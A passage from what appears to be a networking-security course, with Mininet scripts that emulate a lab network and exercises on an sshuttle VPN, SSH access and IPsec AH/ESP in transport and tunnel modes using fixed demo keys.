353 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
354 | mac='00:00:00:00:00:04')
355 | srv2 = net.addDocker('srv2', dimage="ramonfontes/seguranca", cpu_shares=20,
356 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
357 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
358 | mac='00:00:00:00:00:05')
359 | client1 = net.addDocker('client', dimage="ramonfontes/seguranca", cpu_shares=20,
360 | volumes=['/tmp/.X11-unix:/tmp/.X11-unix:rw'],
361 | environment={'DISPLAY':":{}".format(DISPLAY_ID)},
362 | mac='00:00:00:00:00:02',
363 | ip='10.201.0.1/24')
364 | s1 = net.addSwitch('s1', failMode='standalone')
365 | s2 = net.addSwitch('s2', failMode='standalone')
366 | r1 = net.addHost('r1', ip='10.201.0.100/24')
367 |
368 | info("*** Creating Links\n")
369 | net.addLink(client1, s1)
370 | net.addLink(r1, s1)
371 | net.addLink(r1, s2)
372 | net.addLink(vpn1, s2)
373 | net.addLink(srv1, s2)
374 | net.addLink(srv2, s2)
375 |
376 | info("*** Starting network\n")
377 | net.build()
378 | s1.start([])
379 | s2.start([])
380 |
381 | client1.cmd('route add default gw 10.201.0.100')
382 | srv1.cmd('ip route del 0/0')
383 | srv2.cmd('ip route del 0/0')
384 | vpn1.cmd('ip route del 0/0')
385 | srv1.cmd('route add default gw 10.200.0.100')
386 | srv2.cmd('route add default gw 10.200.0.100')
387 | vpn1.cmd('route add default gw 10.200.0.100')
388 | r1.cmd('ifconfig r1-eth1 10.200.0.100/24')
389 |
390 | r1.cmd('iptables -F')
391 | r1.cmd('iptables -A FORWARD -p tcp --dport 22 -j ACCEPT')
392 | r1.cmd('iptables -A FORWARD -p tcp --sport 22 -m state --state ESTABLISHED,RELATED -j ACCEPT')
393 | r1.cmd('iptables -t nat -A PREROUTING -p tcp --dport 22 -j DNAT --to 10.200.0.1:22')
394 | r1.cmd('iptables -P INPUT DROP')
395 | r1.cmd('iptables -P OUTPUT DROP')
396 | r1.cmd('iptables -P FORWARD DROP')
397 | vpn1.cmd("echo \'10.200.0.1 vpn1\' > /etc/hosts && /etc/init.d/ssh start")
398 | srv1.cmd("echo \'10.200.0.2 srv1\' > /etc/hosts && service apache2 start")
399 | srv2.cmd("echo \'10.200.0.3 srv2\' > /etc/hosts && service apache2 start")
400 |
401 | info("*** Running CLI\n")
402 | CLI(net)
403 |
404 | info("*** Stopping network\n")
405 | net.stop()
406 |
407 |
408 | if __name__ == '__main__':
409 | setLogLevel('info')
410 | topology()
411 | ```
412 |
413 | Now, save the code snippet above into a Python file and execute it.
414 | Then, open a terminal for the client and try accessing the web pages hosted on srv1 and srv2, available at the addresses 10.200.0.2 and 10.200.0.3.
415 |
416 | Next, in the same client terminal, connect to the VPN using the following command:
417 | ```
418 | client# sshuttle -r seg@10.201.0.100 -x 10.201.0.100 10.0.0.0/8
419 | ```
420 | Then, try accessing the web pages mentioned above once again.
421 |
422 |
423 | ### SSH
424 |
425 | SSH, or Secure Shell, is a widely used network protocol for securely accessing and managing remote systems. It provides robust security by encrypting data exchanged between the client and server, preventing third parties from intercepting sensitive information such as passwords and confidential data. SSH is an essential tool for system administrators and developers, enabling remote server access, secure file transfers, and command execution on Unix-like systems, including Linux. It is a fundamental technology for ensuring the integrity and confidentiality of communications in networked environments.
426 |
427 | In addition, SSH supports public-key authentication, which is more secure than password-based methods. Users can generate SSH key pairs, where the public key is stored on the server and the private key remains with the user. This eliminates the need to enter passwords during authentication, making connections more resilient to brute-force attacks. In summary, SSH plays a crucial role in safeguarding the integrity and privacy of network connections in an increasingly connected world.
428 |
429 | To practice an SSH connection, run the same script from the previous exercise and connect to the SSH server at 10.201.0.100 from the client.
430 |
431 |
432 |
433 | ### IPsec
434 |
435 | The IP Security Protocol (IPsec) is a widely used suite of protocols designed to ensure secure communications over the Internet and private networks. Two of its main components are the Authentication Header (AH) and the Encapsulating Security Payload (ESP). The AH is responsible for providing authentication and integrity for IP packets, protecting them against tampering and forgery. In contrast, the ESP adds encryption, confidentiality, and authentication features, enhancing the overall security of communications.
436 |
437 | IPsec also supports two modes of operation: tunnel mode and transport mode. Tunnel mode is commonly used in Virtual Private Network (VPN) scenarios, where the entire original IP packet is encapsulated within a new IP packet containing additional security information. This creates a secure tunnel between two endpoints, protecting all traffic transmitted between them. Transport mode, on the other hand, protects only the payload of the IP packets while leaving the original IP header intact, which is useful when intermediate networks do not need to be aware of the applied security measures.
438 |
439 | In this section, we will experiment with both AH and ESP, as well as transport and tunnel modes. The network topology used in the exercises is illustrated below.
440 |
441 | ```
442 | h1 - \ / - h3
443 | s2 --- r1 --- s1 --- r2 --- s3
444 | h2 - / \ - h4
445 | ```
446 |
447 | For this exercise, run the script provided below.
448 |
449 | ```commandline
450 | #!/usr/bin/python
451 |
452 | '''@author: Ramon Fontes
453 | @email: ramon.fontes@imd.ufrn.br
454 | '''
455 |
456 | import sys
457 |
458 | from mininet.net import Mininet
459 | from mininet.cli import CLI
460 | from mininet.log import setLogLevel
461 |
462 |
463 | def topology():
464 | "Create a network."
465 | net = Mininet()
466 |
467 | print("*** Creating nodes")
468 | h1 = net.addHost('h1', mac='00:00:00:00:00:01', ip='192.168.0.1/24')
469 | h2 = net.addHost('h2', mac='00:00:00:00:00:02', ip='192.168.0.2/24')
470 | h3 = net.addHost('h3', mac='00:00:00:00:00:03', ip='192.168.1.1/24')
471 | h4 = net.addHost('h4', mac='00:00:00:00:00:04', ip='192.168.1.2/24')
472 | r1 = net.addHost('r1', mac='00:00:00:00:00:05', ip='10.0.0.1/8')
473 | r2 = net.addHost('r2', mac='00:00:00:00:00:06', ip='10.0.0.2/8')
474 | s1 = net.addSwitch('s1', failMode='standalone')
475 | s2 = net.addSwitch('s2', failMode='standalone')
476 | s3 = net.addSwitch('s3', failMode='standalone')
477 |
478 | print("*** Creating links")
479 | net.addLink(r1, s1)
480 | net.addLink(r2, s1)
481 | net.addLink(r1, s2)
482 | net.addLink(r2, s3)
483 | net.addLink(h1, s2)
484 | net.addLink(h2, s2)
485 | net.addLink(h3, s3)
486 | net.addLink(h4, s3)
487 |
488 | print("*** Building network")
489 | net.start()
490 |
491 | r1.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
492 | r2.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
493 | r1.cmd('ifconfig r1-eth1 192.168.0.10')
494 | r2.cmd('ifconfig r2-eth1 192.168.1.10')
495 | r1.cmd('ip route add 192.168.1.0/24 via 10.0.0.2')
496 | r2.cmd('ip route add 192.168.0.0/24 via 10.0.0.1')
497 | h1.cmd('route add default gw 192.168.0.10')
498 | h2.cmd('route add default gw 192.168.0.10')
499 | h3.cmd('route add default gw 192.168.1.10')
500 | h4.cmd('route add default gw 192.168.1.10')
501 |
502 | print("*** Adding some commands")
503 | if 'ESPTR' in sys.argv[1]:
504 | h1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto esp mode transport')
505 | h1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto esp mode transport')
506 | h3.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto esp mode transport')
507 | h3.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto esp mode transport')
508 |
509 | h1.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
510 | h1.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
511 | h3.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
512 | h3.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
513 | elif 'AHTR' in sys.argv[1]:
514 | h1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto ah mode transport')
515 | h1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto ah mode transport')
516 | h3.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto ah mode transport')
517 | h3.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto ah mode transport')
518 |
519 | h1.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
520 | h1.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
521 | h3.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
522 | h3.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
523 | elif 'AHESTR' in sys.argv[1]:
524 | h1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto esp tmpl proto ah mode transport')
525 | h1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto esp tmpl proto ah mode transport')
526 | h3.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl proto esp tmpl proto ah mode transport')
527 | h3.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl proto esp tmpl proto ah mode transport')
528 |
529 | h1.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
530 | h1.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
531 | h3.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
532 | h3.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto esp spi 1 enc \'cbc(aes)\' 0x3ed0af408cf5dcbf5d5d9a5fa806b224 mode transport')
533 | h1.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
534 | h1.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
535 | h3.cmd('ip xfrm state add src 192.168.0.1 dst 192.168.1.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
536 | h3.cmd('ip xfrm state add src 192.168.1.1 dst 192.168.0.1 proto ah spi 0x401 mode transport auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
537 | elif 'ESPTU' in sys.argv[1]:
538 | r1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
539 | r1.cmd('ip xfrm policy add dir fwd src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
540 | r1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
541 | r2.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
542 | r2.cmd('ip xfrm policy add dir fwd src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
543 | r2.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
544 |
545 | r1.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
546 | r1.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
547 | r2.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
548 | r2.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
549 | elif 'AHTU' in sys.argv[1]:
550 | r1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah mode tunnel')
551 | r1.cmd('ip xfrm policy add dir fwd src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah mode tunnel')
552 | r1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah mode tunnel')
553 | r2.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah mode tunnel')
554 | r2.cmd('ip xfrm policy add dir fwd src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah mode tunnel')
555 | r2.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah mode tunnel')
556 |
557 | r1.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
558 | r1.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
559 | r2.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
560 | r2.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
561 | elif 'AHESTU' in sys.argv[1]: # not working yet
562 | r1.cmd('ip xfrm policy add dir in src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
563 | r1.cmd('ip xfrm policy add dir fwd src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
564 | r1.cmd('ip xfrm policy add dir out src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
565 | r2.cmd('ip xfrm policy add dir in src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
566 | r2.cmd('ip xfrm policy add dir fwd src 192.168.0.1/32 dst 192.168.1.1/32 tmpl src 10.0.0.1 dst 10.0.0.2 proto ah tmpl src 10.0.0.1 dst 10.0.0.2 proto esp mode tunnel')
567 | r2.cmd('ip xfrm policy add dir out src 192.168.1.1/32 dst 192.168.0.1/32 tmpl src 10.0.0.2 dst 10.0.0.1 proto ah tmpl src 10.0.0.2 dst 10.0.0.1 proto esp mode tunnel')
568 |
569 | r1.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
570 | r1.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
571 | r2.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
572 | r2.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto esp spi 0x201 mode tunnel enc \"cbc(aes)\" 0x303631383332323363323361323165386233366335363662')
573 | r1.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
574 | r1.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
575 | r2.cmd('ip xfrm state add src 10.0.0.1 dst 10.0.0.2 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
576 | r2.cmd('ip xfrm state add src 10.0.0.2 dst 10.0.0.1 proto ah spi 0x201 mode tunnel auth \"hmac(sha1)\" 0x12345678123456781234567812345678')
577 |
578 | print("*** Running CLI")
579 | CLI(net)
580 |
581 | print("*** Stopping network")
582 | net.stop()
583 |
584 |
585 | if __name__ == '__main__':
586 | setLogLevel('info')
587 | topology()
588 |
589 | ```
590 |
591 | Since the code above includes all possible experimentation scenarios, it is necessary to run it by specifying the desired mode of operation as an argument. For example, the following command runs the script with ESP in Transport mode:
592 |
593 | ```
594 | $ sudo python ipsec.py -ESPTR
595 | ```
596 |
597 | ```
598 | Supported arguments:
599 | ESPTR — ESP (Encapsulating Security Payload) in Transport mode
600 | AHTR — AH (Authentication Header) in Transport mode
601 | AHESTR — AH + ESP in Transport mode
602 | ESPTU — ESP in Tunnel mode
603 | AHTU — AH in Tunnel mode
604 | AHESTU — AH + ESP in Tunnel mode (not supported yet)
605 | ```
606 |
607 |
608 | ## References
609 |
610 | - Configure Linux system auditing with auditd - https://www.redhat.com/pt-br/blog/configure-linux-auditing-auditd
611 | - IP Security (IPsec) and Internet Key Exchange (IKE) Document Roadmap - https://datatracker.ietf.org/doc/html/rfc6071
612 |
--------------------------------------------------------------------------------